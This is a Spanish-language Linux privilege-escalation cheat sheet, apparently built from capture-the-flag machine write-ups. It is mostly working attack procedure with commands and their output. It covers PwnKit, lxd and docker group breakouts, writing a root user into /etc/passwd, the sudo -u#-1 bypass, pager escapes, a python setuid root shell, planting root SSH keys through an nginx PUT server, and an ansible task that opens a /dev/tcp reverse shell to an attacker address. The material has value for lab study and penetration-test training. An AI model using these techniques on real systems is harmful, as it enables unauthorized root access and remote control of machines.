

LINUX PRIVILEGE ESCALATION

*GUÍA PARA MEJORAR TUS
HABILIDADES EN LA
ESCALADA DE PRIVILEGIOS EN
LINUX*

AITOR RODRIGUEZ



HERRAMIENTAS ÚTILES

- **GTFOBins**: Un repositorio de técnicas de escalada de privilegios y ejecución de comandos utilizando binarios de Unix.

COMANDOS DE ENUMERACIÓN DEL SISTEMA

Comprobar Comandos Sudo

```
sudo -l
```

Comprobar los grupos usuario actual

```
id
```

Permisos SUID

Buscar archivos con permisos SUID:

- `find / -perm /4000 2>/dev/null`

Buscar Archivos con Permisos de Escritura y lectura

Buscar archivos y directorios que tienen permisos de escritura para todos los usuarios:

- `find / -writable 2>/dev/null`

Crontab

Buscar en crontab archivos que se ejecuten como root y que podamos editar:

- `crontab -l`
- `cat /etc/crontab`

Rutas interesantes

- `ls -la /opt | /tmp | /var/tmp | /var/backups | /var/mail | /dev/shm | /var/www/html`

Escalada en base a la versión del kernel y sudo

- `uname -a`
- `lsb-release -a`
- `sudo --version`

Buscar Contraseñas en Archivos de Configuración

- `/var/www/html/wordpress/wp-config.php`
- `/etc/apache2/.htpasswd`

Capabilities

Las **capabilities** son privilegios asignados a un usuario que permiten a procesos ejecutar acciones específicas sin requerir permisos completos de root.

- `/usr/sbin/getcap -r / 2>/dev/null`

Localizar puertos internos

- `netstat -ano`
- `netstat -antp`

Localizar procesos

- `ps aux`

Enumerar Variables de Entorno

El comando `env` muestra todas las variables de entorno de la shell. Podría incluir información sensible, como contraseñas:

```
PWD_token=aWthVGV0VEF0dEVTGg=
```

Localizar dockers en la maquina

- `docker ps`

Acceder al contenedor

- `docker exec -it *nombre* bash`

Script para brute-forcear la contraseña de un usuario

<https://github.com/d4t4s3c/suForce>

Dirty Pipe

- Las versiones de kernel entre la 5.8 a la 5.16.11 son vulnerables, excepciones:
 - 5.16.11
 - 5.15.25
 - 5.10.102

Ejemplos:

[Antique - Writeup](#)

[Altered - Writeup](#)

LOCALIZAR PROCESOS Y TAREAS PROGRAMADAS CON PSPY64

pspy64 es una herramienta que permite monitorear procesos en ejecución en sistemas Linux, mostrando información sobre los procesos y actividades del sistema.

AUTOMATIZACIÓN DE ENUMERACIÓN CON LINPEAS

LinPEAS es una herramienta automatizada para detectar vulnerabilidades de escalada de privilegios en sistemas Linux mediante el análisis de configuraciones, permisos y servicios.

EJEMPLOS DE ESCALADA INTERESANTES

Explotación del binario pkexec SUID

Explotando el binario pkexec con "Pwnkit"

<https://github.com/ly4k/PwnKit>

Lo clonamos, nos abrimos un servidor con python3, descargamos el archivo llamado "Pwnkit", le damos permisos de ejecución y lo ejecutamos:

```
lp@antique:~$ chmod +x PwnKit
lp@antique:~$ ./PwnKit
root@antique:/var/spool/lpd# whoami
root
```

Escalada mediante Sudo y Java

Si tienes permisos de root en Java:

1. Crear un archivo malicioso con msfvenom ".java" que contenga la reverse shell.

2. Ejecutarlo con java como sudo

```
sudo /usr/bin/java revershell.java
```

3. Escuchar la conexión en la máquina local:

```
nc -lvnp <puerto>
```

Escalada mediante Sudo y Chown

- `LFILE=/etc/passwd`
- `sudo chown $(id -un):$(id -gn) $LFILE`
- `openssl passwd hola123`
- `echo 'newroot:1EBhVbkUV$zW3uLFiknxfdzUV5OjQZ40:0:0:./home/newroot:/bin/bash' >> /etc/passwd`
- `su newroot`

Escalada mediante Sudo y Nmap

- `sudo nmap --interactive`
- `!sh`

Escalada el binario chkrootkit

- Creamos un archivo llamado update en /tmp que otorgue permisos SUID a la bash
- Le damos permisos de ejecución

Escalada a través del grupo lxd

Ejemplos:

- [Tabby - Writeup](#)
- [Templo WRITEUP](#)

1. Nos descargamos el repositorio que contiene una imagen de alpine:

```
(kali㉿kali)-[~/Downloads]
└─$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder' ...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42 (from 1)
Receiving objects: 100% (50/50), 3.11 MiB | 4.42 MiB/s, done.
Resolving deltas: 100% (15/15), done.
```

2. Transferimos la imagen:

```
takis@tenten:~$ wget http://10.10.14.6/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2024-12-17 17:37:22-- http://10.10.14.6/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: 'alpine-v3.13-x86_64-20210218_0139.tar.gz'

alpine-v3.13-x86_64-20210218_0139.tar.gz      100%[=====]
```

3. La importamos:

```
lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
```

```
takis@tenten:~$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine
Generating a client certificate. This may take a minute ...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
```

4. Listamos las imágenes importadas:

```
takis@tenten:~$ lxc image list
+-----+-----+-----+-----+-----+-----+-----+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+-----+-----+-----+-----+-----+-----+-----+
| alpine | cd73881adaac | no | alpine v3.13 (20210218_01:39) | x86_64 | 3.11MB | Dec 17, 2024 at 3:38pm (UTC) |
+-----+-----+-----+-----+-----+-----+-----+
```

5. Creamos el contenedor llamado privesc:

```
lxc init alpine privesc -c security.privileged=true
```

```
takis@tenten:~$ lxc init alpine privesc -c security.privileged=true
Creating privesc
```

6. Listamos los contenedores:

```
takis@tenten:~$ lxc list
+-----+-----+-----+-----+-----+-----+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-----+-----+-----+-----+-----+-----+
| privesc | STOPPED | | | PERSISTENT | 0 |
+-----+-----+-----+-----+-----+-----+
```

7. Le decimos a la configuración del contenedor que añada todo lo que hay en la raíz del sistema a /mnt/root:

```
takis@tenten:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
```

8. Iniciamos el contenedor y ejecutamos una "sh" a través del contenedor:

```
takis@tenten:~$ lxc start privesc
takis@tenten:~$ lxc exec privesc /bin/sh
~ # ls
~ # whoami
root
```

9. Nos encontramos dentro del contenedor pero la raíz del sistema se encuentra en /mnt/root. Para proporcionar permisos SUID al binario /bin/bash de la maquina real tenemos que hacerlo a la ruta /mnt/root/bin/bash:

```
~ # chmod +s /mnt/root/bin/bash
~ # exit
```

10. Salimos del docker y ejecutamos la bash con privilegios elevados ya que es un binario SUID:

```
takis@tenten:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1037528 Jun 24  2016 /bin/bash
takis@tenten:~$ /bin/bash -p
bash-4.3# whoami
root
```

Escalada a traves del grupo Docker

- Ejemplo [Cache - Writeup](#)

Vamos a ver las imágenes que tenemos de docker importadas en la maquina

```
docker images
```

```
luffy@cache:/tmp$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest             2ca708c1c9cc       5 years ago        64.2MB
```

Para hacerlo desde 0 vamos a importar una nueva imagen de alpine. Como en esta maquina no tenemos salida a internet tenemos que descargarlo en nuestro kali. Para descargar la ultima versión de alpine ejecutamos:

```
sudo docker pull alpine:latest
```

```
(kali㉿kali)-[~/Downloads/alpine]
$ sudo docker pull alpine:latest
latest: Pulling from library/alpine
1f3e46996e29: Pull complete
Digest: sha256:56fa17d2a7e7f168a043a2712e63aed1f8543aeafdcee47c58dcffe38ed51099
Status: Downloaded newer image for alpine:latest
docker.io/library/alpine:latest
```

Podemos comprobar que se ha importado con :

```
sudo docker images
```

```
(kali㉿kali)-[~/Downloads/alpine]
$ sudo docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
alpine              latest             b0c9d60fc5e3       2 weeks ago        7.83MB
```

Para guardarlo en un formato que podamos transferirlo a la maquina victima tenemos que pasarlo a un archivo tar ejecutando:

```
(kali㉿kali)-[~/Downloads/alpine]
$ sudo docker save alpine > alpine.tar

(kali㉿kali)-[~/Downloads/alpine]
$ ls -la
total 7960
drwxrwxr-x 2 kali kali    4096 Jan 28 13:43 .
drwxr-xr-x 6 kali kali   12288 Jan 28 13:18 ..
-rw-rw-r-- 1 kali kali 8131584 Jan 28 13:43 alpine.tar
```

Nos la descargamos desde la maquina victima:

```
luffy@cache:/tmp$ wget http://10.10.14.7/alpine.tar
--2025-01-28 17:54:20-- http://10.10.14.7/alpine.tar
Connecting to 10.10.14.7:80 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8131584 (7.8M) [application/x-tar]
Saving to: 'alpine.tar'

alpine.tar  100%[=====>]  7.75M  2.31MB/s  in 3.7s
2025-01-28 17:54:24 (2.08 MB/s) - 'alpine.tar' saved [8131584/8131584]

luffy@cache:/tmp$ ls -la
total 7952
drwxrwxrwt 2 root root    4096 Jan 28 17:54 .
drwxr-xr-x 23 root root    4096 Jul  9 2020 ..
-rw-rw-r-- 1 luffy luffy 8131584 Jan 28 2025 alpine.tar
```

Para cargar esta imagen de alpine podemos ejecutar:

```
docker load < alpine.tar
```

```
luffy@cache:/tmp$ docker load < alpine.tar
a0904247e36a: Loading layer 8.121MB/8.121MB
Loaded image: alpine:latest
luffy@cache:/tmp$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
alpine               latest             b0c9d60fc5e3       2 weeks ago        7.83MB
ubuntu              latest             2ca708c1c9cc       5 years ago        64.2MB
```

En GTFOBins nos dice como podemos acceder a esta imagen de docker de alpine como el usuario root:

Shell

It can be used to break out from restricted environments like

The resulting is a root shell.

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

Este comando lo que hace es montar toda la raíz del sistema en la ruta /mnt del docker. Esto quiere decir que desde el docker vamos a tener permisos para navegar como root por el sistema "real". Podemos darnos el privilegio de SUID al binario /bin/bash y veremos que esto se aplica a la maquina "real", y no al docker:

```
luffy@cache:/tmp$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# pwd
/
# chmod +s /bin/bash
# exit
luffy@cache:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr  4 2018 /bin/bash
```

Ahora podemos ejecutar la bash con privilegios elevados:

```
luffy@cache:/tmp$ /bin/bash -p
bash-4.4# whoami
root
```

Escalada con vncviewer

- Ejemplo [Poison - Writeup](#)

Escalada mediante Sudo y Nginx

- Ejemplo: [Broker - Writeup](#)

Para conseguir ser el usuario root podemos crear una clave publica y privada con "ssh-keygen" y subirla a la maquina victima con el metodo "PUT". Podemos habilitar el método "PUT" con el archivo de configuración de apache lo hacemos con "dav_methods":

```
user root;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
    server {
        listen 1235;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}
```

Ahora podemos subir un archivo llamado "authorized_keys" que contenga la clave publica del usuario root. Para ello generamos las claves con "ssh-keygen":

```
$ sudo ssh-keygen
[sudo] password for kali:
Generating public/private ed25519 key pair.
Enter file in which to save the key (/root/.ssh/id_ed25519): /root/.ssh/id_rsa
Enter passphrase for "/root/.ssh/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:jMYp468RiuCpVZn/NqYWqUE6QCJ2C+6MUCqQciyH8K0 root@kali
The key's randomart image is:
+--[ED25519 256]--+
|o+
|O=o
|O*+ o
|=. o.+ +
|B.EoB =.S
|++++.*o
|.oo.oo ..
|.. .o ..+
|. .oo+..
+---[SHA256]-----+
```

```
(kali@kali) - [~/Downloads/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
$ sudo cat /root/.ssh/id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEL3fSpZ/d+i39VqMxeSJ9SQfCRJJu7Dv8iZCSRpHdfD root@kali
```

Subimos el contenido de id_rsa.pub al archivo "authorized_keys" con el método PUT:

```
(kali@kali) - [~/Downloads/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
$ curl -X PUT http://10.10.11.243:1235/root/.ssh/authorized_keys -d 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEL3fSpZ/d+i39VqMxeSJ9SQfCRJJu7Dv8iZCSRpHdfD root@kali'
```

Le damos permiso 600 a id_rsa y accedemos con el usuario root con la clave privada:

```
(kali@kali) - [~/Downloads/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
$ chmod 600 id_rsa

(kali@kali) - [~/Downloads/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ]
$ ssh root@10.10.11.243 -i id_rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

* Documentation:  https://help.ubuntu.com
```


Escalada con journalctl

- Ejemplos [Traverxec - Writeup](#)

Vemos un directorio bin dentro del home de david que contiene un script:

```
david@traverxec:~$ cd bin/
david@traverxec:~/bin$ ls -la
total 16
drwx----- 2 david david 4096 Oct 29 08:14 .
drwx--x--x 6 david david 4096 Oct 29 08:14 ..
-r----- 1 david david 802 Oct 25 2019 server-stats.head
-rwx----- 1 david david 363 Oct 25 2019 server-stats.sh
```

Vamos a ver el contenido:

```
david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
```

Como podemos ver esta ejecutando el comando subrayado como sudo. Aunque no nos deje ver los permisos de sudoers vemos que cuando ejecutamos este comando nos nos pide contraseña, por lo que tenemos el permiso de lanzarlo como sudo:

```
david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Tue 2024-10-29 06:23:05 EDT, end at Tue 2024-10-29 08:20:24 EDT. --
Oct 29 07:05:05 traverxec su[1021]: FAILED SU (to root) www-data on pts/0
Oct 29 07:05:12 traverxec su[1022]: pam_unix(su:auth): authentication failure; lognam
Oct 29 07:05:14 traverxec su[1022]: FAILED SU (to david) www-data on pts/0
Oct 29 07:05:32 traverxec su[1023]: pam_unix(su:auth): authentication failure; lognam
Oct 29 07:05:34 traverxec su[1023]: FAILED SU (to david) www-data on pts/0
```

Para poder escalar privilegios con "journalctl" tenemos que poder entrar en el modo paginado para poder ejecutar "!/bin/bash". Para poder ejecutarlo en modo paginado tenemos que hacer la consola mas pequeña donde no entren las 6 líneas que ejecuta:

```
-- Logs begin at Tue 2024-10-29 06:23:05 EDT, end at Tue 2024-10-29 08:26:25 EDT. --
Oct 29 07:05:05 traverxec su[1021]: FAILED SU (to root) www-data on pts/0
Oct 29 07:05:12 traverxec su[1022]: pam_unix(su:auth): authentication failure; logname= uid=33 euid=0 tt
lines 1-3

(kali@kali)-[~/Downloads]
$ █

peruser by root, it does not drop the elevated privileges and
to operate as a regular privileged process
```

Como "journalctl" cuando detecta que no puede mostrar todos los comandos porque no tiene espacio entra en formato paginado, ahora podemos ejecutar "!/bin/bash" para convertirnos en root:

```
Oct 29 07:05:12 traverxec su[1022]
!/bin/bash
root@traverxec:/home/david/bin# █
```

Escalada a traves del archivo .Xauthority

- [Squased - Writeup](#)

Cap_setuid capability en python

- Ejemplo: [Cap - Writeup](#)

Revisamos las capabilities del usuario nathan:

```
nathan@cap:~$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
```

Con python3.8 tenemos el permiso de alterarnos el uid. Esto quiere decir que con python3.8 podemos alterar el uid del usuario que ejecuta el comando:

- `import os`
- `os.setuid(0)`
- `os.system('/bin/bash -p')`

```
nathan@cap:~$ python3.8
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)
>>> os.system('/bin/bash -p')
root@cap:~#
```

Sudo !root login bypass

Ejemplo: [Blunder - Writeup](#):

Vamos a ver los permisos que tenemos como sudo:

```
hugo@blunder:/var/www/bludit-3.10.0a/bl-content/databases$ sudo -l
Password:
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
```

En vez de poner `sudo -u root` ponemos `sudo -u#-1` :

```
hugo@blunder:~$ sudo -l
Password:
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass, secure_path=/usr/local/sbin

User hugo may run the following commands on blunder:
    (ALL, !root) /bin/bash
hugo@blunder:~$ sudo -u#-1 /bin/bash
root@blunder:/home/hugo# whoami
root
```

Escalada con Sudo y Ansible-playbook

Ejemplo: [Seal - Writeup](#)

```
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:
    g on to the local host.

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *
```

Como esta tarea la ejecuta el usuario root, podemos copiar todo lo que hay dentro del directorio root. El problema es que si no modificamos los permisos permanecen los del usuario root. Buscando "ansible playbook yaml examples" encuentro como puedo copiar modificando permisos:

```
- name: Ansible Copy File with Permissions
  hosts: test_group
  become: true
  tasks:
    - name: Copy Tomcat context.xml from local to remote with permissions
      copy:
        src: ~/ansible/files/myapp/opt-tomcat-webapps-manager-meta-inf/context.xml
        dest: /opt/tomcat/webapps/manager/META-INF/context.xml
        owner: tomcat
        group: tomcat
        mode: '0644'
```

Lo adaptamos a nuestro entorno:

```
luis@seal:~$ cat run.yml
- name: Ansible Copy File with Permissions
  hosts: localhost
  become: true
  tasks:
    - name: Copy Tomcat context.xml from local to remote with permissions
      copy:
        src: /root
        dest: /home/luis/root_dir
        owner: luis
        group: luis
        mode: '777'
```

Lo ejecutamos:Se ha creado la carpeta root_dir:

```
luis@seal:~$ sudo /usr/bin/ansible-playbook run.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [Ansible Copy File with Permissions] *****

TASK [Gathering Facts] *****
ok: [localhost]

TASK [Copy Tomcat context.xml from local to remote with permissions] *****
changed: [localhost]

PLAY RECAP *****
localhost                : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0


drwxrwxr-x  3 luis luis   4096 May  5  2021 .java
drwxrwxr-x  3 luis luis   4096 May  5  2021 .local
-rw-r--r--  1 luis luis    807 May  5  2021 .profile
drwxr-xr-x  3 luis luis   4096 Jan 26 20:47 root_dir
```

En su interior podemos ver la flag del usuario root:

```
luis@seal:~$ cd root_dir/
luis@seal:~/root_dir$ ls -la
total 12
drwxr-xr-x  3 luis luis  4096 Jan 26 20:47 .
drwxr-xr-x 10 luis luis  4096 Jan 26 20:49 ..
drwxr-xr-x  6 luis luis  4096 Jan 26 20:47 root
luis@seal:~/root_dir$ cd root/
luis@seal:~/root_dir/root$ ls -la
total 36
drwxr-xr-x  6 luis luis  4096 Jan 26 20:47 .
drwxr-xr-x  3 luis luis  4096 Jan 26 20:47 ..
drwxr-xr-x  3 luis luis  4096 Jan 26 20:47 .ansible
lrwxrwxrwx  1 luis luis     9 Jan 26 20:47 .bash_history -> /dev/null
-rwxrwxrwx  1 luis luis  3132 Jan 26 20:47 .bashrc
drwxr-xr-x  2 luis luis  4096 Jan 26 20:47 .cache
drwxr-xr-x  3 luis luis  4096 Jan 26 20:47 .local
-rwxrwxrwx  1 luis luis   161 Jan 26 20:47 .profile
-rwxrwxrwx  1 luis luis    33 Jan 26 20:47 root.txt
drwxr-xr-x  3 luis luis  4096 Jan 26 20:47 snap
```

Si queremos acceder a la maquina victima como el usuario root podemos consultar como ejecutar comandos con ansible playbook:

ansible playbook yaml execute commands

Cherry Servers

<https://www.cherryservers.com> > ... - Traducir esta página

How to Run Remote Commands with Ansible Shell Module

16 mar 2022 — In this guide, you're going to learn about the **Ansible** shell module, how it works and how you can use it to **execute commands** against managed nodes.

Nos muestra un ejemplo ejecutando con `shell: "lsb-release -a"`:

Run a Single Command With Ansible Shell Module

Aside from running ad hoc commands, the Ansible shell module is also used in playbooks to specify the tasks to be carried out on remote hosts.

Consider the playbook below.

```
---
- name: Shell module example
  hosts: webserver
  tasks:

    - name: Check system information
      shell:
        "lsb_release -a"
      register: os_info

    - debug:
        msg: "{{os_info.stdout_lines}}"
```

Sustituimos ese comando por una reverse shell:

```
- name: RCE
  hosts: localhost
  become: true
  tasks:
    - name: RCE
      shell: "bash -c 'sh -i >& /dev/tcp/10.10.14.7/1234 0>&1'"
```

Nos ponemos a la escucha con netcat y ejecutamos la reverse shell:

```
luis@seal:~$ sudo /usr/bin/ansible-playbook run.yml
[WARNING]: provided hosts list is empty, only localhost is available

PLAY [RCE] *****

TASK [Gathering Facts] *****
ok: [localhost]

TASK [RCE] *****
```

Recibimos la conexión:

```
(kali@kali)-[~/Downloads]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.250] 45498
# whoami
root
```


Github Pre-Commit Privilege escalation

Ejemplo [OpenSource - Writeup](#):

Vamos a ver qué hace esa tarea:

```
dev01@opensource:~$ cat /usr/local/bin/git-sync
#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +%Y-%m-%d)
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi
```

Lo que hace este script es detectar si ha habido algún cambio dentro del proyecto de github. Si es así:

- Lo añade con "git add ."
- Crea el comentario del cambio con "git commit"
- Sube los cambios con "git push origin main"

Lo que podemos intentar es crear un "pre commit". El "pre commit " eso es un comando que queremos que se ejecute automáticamente de realizar el commit. Esto puede utilizarse por ejemplo para buscar errores de sintaxis en los cambios que queremos efectuar. Los "pre commits" se guardan en la ruta ".git/hooks":

```
dev01@opensource:~/git/hooks$ ls -la
total 56
drwxrwxr-x 2 dev01 dev01 4096 May  4  2022 .
drwxrwxr-x 8 dev01 dev01 4096 Jan 29 16:08 ..
-rwxrwxr-x 1 dev01 dev01  478 Mar 23  2022 applypatch-msg.sample
-rwxrwxr-x 1 dev01 dev01  896 Mar 23  2022 commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 3327 Mar 23  2022 fsmonitor-watchman.sample
-rwxrwxr-x 1 dev01 dev01  189 Mar 23  2022 post-update.sample
-rwxrwxr-x 1 dev01 dev01  424 Mar 23  2022 pre-applypatch.sample
-rwxrwxr-x 1 dev01 dev01 1642 Mar 23  2022 pre-commit.sample
-rwxrwxr-x 1 dev01 dev01 1492 Mar 23  2022 prepare-commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 1348 Mar 23  2022 pre-push.sample
-rwxrwxr-x 1 dev01 dev01 4898 Mar 23  2022 pre-rebase.sample
-rwxrwxr-x 1 dev01 dev01  544 Mar 23  2022 pre-receive.sample
-rwxrwxr-x 1 dev01 dev01 3610 Mar 23  2022 update.sample
```

Vamos a crear uno que otorgue permisos SUID a la bash:

```
dev01@opensource:~/git/hooks$ echo "chmod +s /bin/bash">pre-commit
dev01@opensource:~/git/hooks$ chmod +x pre-commit
dev01@opensource:~/git/hooks$ ls -la
total 60
drwxrwxr-x 2 dev01 dev01 4096 Jan 29 16:13 .
drwxrwxr-x 8 dev01 dev01 4096 Jan 29 16:13 ..
-rwxrwxr-x 1 dev01 dev01  478 Mar 23  2022 applypatch-msg.sample
-rwxrwxr-x 1 dev01 dev01  896 Mar 23  2022 commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 3327 Mar 23  2022 fsmonitor-watchman.sample
-rwxrwxr-x 1 dev01 dev01  189 Mar 23  2022 post-update.sample
-rwxrwxr-x 1 dev01 dev01  424 Mar 23  2022 pre-applypatch.sample
-rwxrwxr-x 1 dev01 dev01  19 Jan 29 16:13 pre-commit
```

Cuando se ejecute ese script se otorgaran privilegios SUID a la bash:

```
dev01@opensource:~/git/hooks$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Apr 18  2022 /bin/bash

dev01@opensource:~/git/hooks$ /bin/bash -p
bash-4.4# whoami
root
```